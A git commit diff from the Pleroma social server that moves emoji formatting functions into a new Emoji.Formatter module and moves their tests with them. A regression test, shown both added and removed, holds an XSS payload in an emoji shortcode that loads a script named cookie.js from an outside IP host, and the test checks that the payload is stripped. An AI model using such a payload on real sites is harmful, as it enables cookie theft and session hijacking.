added Emoji.Formatter
authorMaksim Pechnikov <parallel588@gmail.com>
Thu, 29 Aug 2019 19:01:37 +0000 (22:01 +0300)
committerMaksim Pechnikov <parallel588@gmail.com>
Fri, 30 Aug 2019 19:04:17 +0000 (22:04 +0300)
lib/pleroma/emoji/formatter.ex [new file with mode: 0644]
lib/pleroma/formatter.ex
lib/pleroma/web/common_api/common_api.ex
lib/pleroma/web/common_api/utils.ex
lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
lib/pleroma/web/metadata/utils.ex
lib/pleroma/web/twitter_api/twitter_api_controller.ex
lib/pleroma/web/twitter_api/views/activity_view.ex
lib/pleroma/web/twitter_api/views/user_view.ex
test/emoji/formatter_test.exs [new file with mode: 0644]
test/formatter_test.exs

diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex
new file mode 100644 (file)
index 0000000..acdef39
--- /dev/null
@@ -0,0 +1,59 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Formatter do
+  alias Pleroma.Emoji
+  alias Pleroma.HTML
+  alias Pleroma.Web.MediaProxy
+
+  def emojify(text) do
+    emojify(text, Emoji.get_all())
+  end
+
+  def emojify(text, nil), do: text
+
+  def emojify(text, emoji, strip \\ false) do
+    Enum.reduce(emoji, text, fn
+      {_, _, _, emoji, file}, text ->
+        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+
+      emoji_data, text ->
+        emoji = HTML.strip_tags(elem(emoji_data, 0))
+        file = HTML.strip_tags(elem(emoji_data, 1))
+        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+    end)
+    |> HTML.filter_tags()
+  end
+
+  defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+  defp prepare_emoji_html(emoji, file, _strip) do
+    "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
+  end
+
+  def demojify(text) do
+    emojify(text, Emoji.get_all(), true)
+  end
+
+  def demojify(text, nil), do: text
+
+  @doc "Outputs a list of the emoji-shortcodes in a text"
+  def get_emoji(text) when is_binary(text) do
+    Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+      String.contains?(text, ":#{emoji}:")
+    end)
+  end
+
+  def get_emoji(_), do: []
+
+  @doc "Outputs a list of the emoji-Maps in a text"
+  def get_emoji_map(text) when is_binary(text) do
+    get_emoji(text)
+    |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
+      Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
+    end)
+  end
+
+  def get_emoji_map(_), do: []
+end
index 84955289c169bd9cb0a230092bdcdcbb21597038..dbbfe3a6671bedc81796e5e345dbf7e6072f7124 100644 (file)
@@ -3,10 +3,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 
 defmodule Pleroma.Formatter do
-  alias Pleroma.Emoji
   alias Pleroma.HTML
   alias Pleroma.User
-  alias Pleroma.Web.MediaProxy
 
   @safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s
   @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@@ -100,56 +98,6 @@ defmodule Pleroma.Formatter do
     end
   end
 
-  def emojify(text) do
-    emojify(text, Emoji.get_all())
-  end
-
-  def emojify(text, nil), do: text
-
-  def emojify(text, emoji, strip \\ false) do
-    Enum.reduce(emoji, text, fn
-      {_, _, _, emoji, file}, text ->
-        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
-
-      emoji_data, text ->
-        emoji = HTML.strip_tags(elem(emoji_data, 0))
-        file = HTML.strip_tags(elem(emoji_data, 1))
-        String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
-    end)
-    |> HTML.filter_tags()
-  end
-
-  defp prepare_emoji_html(_emoji, _file, true), do: ""
-
-  defp prepare_emoji_html(emoji, file, _strip) do
-    "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
-  end
-
-  def demojify(text) do
-    emojify(text, Emoji.get_all(), true)
-  end
-
-  def demojify(text, nil), do: text
-
-  @doc "Outputs a list of the emoji-shortcodes in a text"
-  def get_emoji(text) when is_binary(text) do
-    Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
-      String.contains?(text, ":#{emoji}:")
-    end)
-  end
-
-  def get_emoji(_), do: []
-
-  @doc "Outputs a list of the emoji-Maps in a text"
-  def get_emoji_map(text) when is_binary(text) do
-    get_emoji(text)
-    |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
-      Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
-    end)
-  end
-
-  def get_emoji_map(_), do: []
-
   def html_escape({text, mentions, hashtags}, type) do
     {html_escape(text, type), mentions, hashtags}
   end
index 5faddc9f4e37f2e714104a193301b96a33a0dbef..9ee7040220957a9a4e1c5f333f4309d32eef2fa7 100644 (file)
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
   alias Pleroma.Activity
   alias Pleroma.ActivityExpiration
   alias Pleroma.Conversation.Participation
-  alias Pleroma.Formatter
+  alias Pleroma.Emoji
   alias Pleroma.Object
   alias Pleroma.ThreadMute
   alias Pleroma.User
@@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do
              sensitive,
              poll
            ),
-         object <-
-           Map.put(
-             object,
-             "emoji",
-             Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
-           ) do
+         object <- put_emoji(object, full_payload, poll_emoji) do
       preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
       direct? = visibility == "direct"
 
@@ -300,6 +295,15 @@ defmodule Pleroma.Web.CommonAPI do
     end
   end
 
+  # parse and put emoji to object data
+  defp put_emoji(map, text, emojis) do
+    Map.put(
+      map,
+      "emoji",
+      Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
+    )
+  end
+
   # Updates the emojis for a user based on their profile
   def update(user) do
     user =
index 9686e6491ad5edfa943b6d2a3a892fb210c634a1..d6907f707ed498bbdddf5b77a4bfeaf7b7cdb3f1 100644 (file)
@@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
   alias Pleroma.Activity
   alias Pleroma.Config
   alias Pleroma.Conversation.Participation
+  alias Pleroma.Emoji
   alias Pleroma.Formatter
   alias Pleroma.Object
   alias Pleroma.Plugs.AuthenticationPlug
@@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
              "name" => option,
              "type" => "Note",
              "replies" => %{"type" => "Collection", "totalItems" => 0}
-           }, Map.merge(emoji, Formatter.get_emoji_map(option))}
+           }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
         end)
 
       case expires_in do
@@ -434,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
   end
 
   def emoji_from_profile(%{info: _info} = user) do
-    (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
+    (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
     |> Enum.map(fn {shortcode, url, _, _, _} ->
       %{
         "type" => "Emoji",
index 603c6b3c6bd768496537e730834deba23a2b5dde..4f63b03cf9b4f1cd259867c5a81522acc457c037 100644 (file)
@@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
   alias Pleroma.Bookmark
   alias Pleroma.Config
   alias Pleroma.Conversation.Participation
+  alias Pleroma.Emoji
   alias Pleroma.Filter
-  alias Pleroma.Formatter
   alias Pleroma.HTTP
   alias Pleroma.Notification
   alias Pleroma.Object
@@ -140,7 +140,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
     user_info_emojis =
       user.info
       |> Map.get(:emoji, [])
-      |> Enum.concat(Formatter.get_emoji_map(emojis_text))
+      |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
       |> Enum.dedup()
 
     info_params =
index 720bd451968f51167abdaeaca39def5843d12a74..382ecf426cdcea8c7675422827bca4051be2dd00 100644 (file)
@@ -3,6 +3,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 
 defmodule Pleroma.Web.Metadata.Utils do
+  alias Pleroma.Emoji
   alias Pleroma.Formatter
   alias Pleroma.HTML
   alias Pleroma.Web.MediaProxy
@@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do
     |> HtmlEntities.decode()
     |> String.replace(~r/<br\s?\/?>/, " ")
     |> HTML.get_cached_stripped_html_for_activity(object, "metadata")
-    |> Formatter.demojify()
+    |> Emoji.Formatter.demojify()
     |> Formatter.truncate()
   end
 
@@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do
     |> HtmlEntities.decode()
     |> String.replace(~r/<br\s?\/?>/, " ")
     |> HTML.strip_tags()
-    |> Formatter.demojify()
+    |> Emoji.Formatter.demojify()
     |> Formatter.truncate(max_length)
   end
 
index 5dfab6a6c396e2ac3f8694a2d786c36aba09cedb..4141bfba5fbdd76d2f880ccbdcb3f1eaf612f247 100644 (file)
@@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
 
   alias Ecto.Changeset
   alias Pleroma.Activity
-  alias Pleroma.Formatter
+  alias Pleroma.Emoji
   alias Pleroma.Notification
   alias Pleroma.Object
   alias Pleroma.Repo
@@ -713,7 +713,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
       emojis_text = (params["description"] || "") <> " " <> (params["name"] || "")
 
       emojis =
-        ((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text))
+        ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text))
         |> Enum.dedup()
 
       user_info =
index abae63877fefdaff7ad85fbe096245b83ab31033..9192ebd34d07a12c0b95b48e996a6e16761afdbe 100644 (file)
@@ -5,7 +5,7 @@
 defmodule Pleroma.Web.TwitterAPI.ActivityView do
   use Pleroma.Web, :view
   alias Pleroma.Activity
-  alias Pleroma.Formatter
+  alias Pleroma.Emoji
   alias Pleroma.HTML
   alias Pleroma.Object
   alias Pleroma.Repo
@@ -262,7 +262,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
         activity,
         "twitterapi:content"
       )
-      |> Formatter.emojify(object.data["emoji"])
+      |> Emoji.Formatter.emojify(object.data["emoji"])
 
     text =
       if content do
@@ -319,7 +319,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do
       "possibly_sensitive" => possibly_sensitive,
       "visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object),
       "summary" => summary,
-      "summary_html" => summary |> Formatter.emojify(object.data["emoji"]),
+      "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]),
       "card" => card,
       "muted" => thread_muted? || User.mutes?(opts[:for], user)
     }
index 8a7d2fc72832b5a61a8394b8e8f6aac0071dd055..3a65508262f972a1059ebf8026fe81def349132f 100644 (file)
@@ -4,7 +4,8 @@
 
 defmodule Pleroma.Web.TwitterAPI.UserView do
   use Pleroma.Web, :view
-  alias Pleroma.Formatter
+
+  alias Pleroma.Emoji
   alias Pleroma.HTML
   alias Pleroma.User
   alias Pleroma.Web.CommonAPI.Utils
@@ -72,7 +73,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do
     description_html =
       (user.bio || "")
       |> HTML.filter_tags(User.html_filter_policy(for_user))
-      |> Formatter.emojify(emoji)
+      |> Emoji.Formatter.emojify(emoji)
 
     fields =
       user.info
@@ -99,7 +100,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do
         "name" => user.name || user.nickname,
         "name_html" =>
           if(user.name,
-            do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji),
+            do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji),
             else: user.nickname
           ),
         "profile_image_url" => image,
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644 (file)
index 0000000..8b510f4
--- /dev/null
@@ -0,0 +1,54 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+  alias Pleroma.Emoji.Formatter
+  use Pleroma.DataCase
+
+  describe "emojify" do
+    test "it adds cool emoji" do
+      text = "I love :firefox:"
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
+
+      assert Formatter.emojify(text) == expected_result
+    end
+
+    test "it does not add XSS emoji" do
+      text =
+        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+      custom_emoji = %{
+        "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+          "https://placehold.it/1x1"
+      }
+
+      expected_result =
+        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+      assert Formatter.emojify(text, custom_emoji) == expected_result
+    end
+  end
+
+  describe "get_emoji" do
+    test "it returns the emoji used in the text" do
+      text = "I love :firefox:"
+
+      assert Formatter.get_emoji(text) == [
+               {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+             ]
+    end
+
+    test "it returns a nice empty result when no emojis are present" do
+      text = "I love moominamma"
+      assert Formatter.get_emoji(text) == []
+    end
+
+    test "it doesn't die when text is absent" do
+      text = nil
+      assert Formatter.get_emoji(text) == []
+    end
+  end
+end
index 7a5bd0f9fbf0c945f440f6a193a886fb56fff237..c36681068e990c71a7f3b0c6596317e717bbb761 100644 (file)
@@ -255,52 +255,6 @@ defmodule Pleroma.FormatterTest do
     end
   end
 
-  describe "emojify" do
-    test "it adds cool emoji" do
-      text = "I love :firefox:"
-
-      expected_result =
-        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
-      assert Formatter.emojify(text) == expected_result
-    end
-
-    test "it does not add XSS emoji" do
-      text =
-        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
-      custom_emoji = %{
-        "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
-          "https://placehold.it/1x1"
-      }
-
-      expected_result =
-        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
-      assert Formatter.emojify(text, custom_emoji) == expected_result
-    end
-  end
-
-  describe "get_emoji" do
-    test "it returns the emoji used in the text" do
-      text = "I love :firefox:"
-
-      assert Formatter.get_emoji(text) == [
-               {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
-             ]
-    end
-
-    test "it returns a nice empty result when no emojis are present" do
-      text = "I love moominamma"
-      assert Formatter.get_emoji(text) == []
-    end
-
-    test "it doesn't die when text is absent" do
-      text = nil
-      assert Formatter.get_emoji(text) == []
-    end
-  end
-
   test "it escapes HTML in plain text" do
     text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
     expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"